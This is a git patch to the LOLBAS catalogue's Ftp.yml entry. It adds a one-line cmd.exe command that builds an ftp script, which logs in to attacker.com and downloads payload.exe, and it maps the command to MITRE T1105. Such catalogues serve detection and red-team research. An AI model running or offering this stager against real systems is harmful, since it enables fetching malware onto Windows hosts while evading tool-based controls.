From aef4b069524967f57525a0e45bb949af00d1f587 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Tue, 21 Apr 2020 23:52:22 +0200 Subject: [PATCH] Download for ftp.exe add a non-interactive one-line command to download arbitrary binary with ftp.exe excessively useful on Windows XP, & Windows Server 2003 where all other LOLBAS that allow download (certutils, bitsutils, etc.) don't exist and where powershell was not install by default. --- yml/OSBinaries/Ftp.yml | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/yml/OSBinaries/Ftp.yml b/yml/OSBinaries/Ftp.yml index 8b2d23c..3476a96 100644 --- a/yml/OSBinaries/Ftp.yml +++ b/yml/OSBinaries/Ftp.yml @@ -12,6 +12,14 @@ Commands: MitreID: T1218 MitreLink: https://attack.mitre.org/wiki/Technique/T1218 OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10 + - Command: cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v" + Description: Download + Usecase: Spawn new process using ftp.exe. Ftp.exe downloads the binary. + Category: Download + Privileges: User + MitreID: T1105 + MitreLink: https://attack.mitre.org/wiki/Technique/T1105 + OperatingSystem: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10 Full_Path: - Path: C:\Windows\System32\ftp.exe - Path: C:\Windows\SysWOW64\ftp.exe @@ -23,6 +31,7 @@ Resources: - Link: https://twitter.com/0xAmit/status/1070063130636640256 - Link: https://medium.com/@0xamit/lets-talk-about-security-research-discoveries-and-proper-discussion-etiquette-on-twitter-10f9be6d1939 - Link: https://ss64.com/nt/ftp.html + - Link: https://www.asafety.fr/vuln-exploit-poc/windows-dos-powershell-upload-de-fichier-en-ligne-de-commande-one-liner/ Acknowledgement: - Person: Casey Smith Handle: '@subtee' @@ -30,4 +39,4 @@ Acknowledgement: Handle: '' - Person: Amit Serper Handle: '@0xAmit ' ---- \ No newline at end of file +---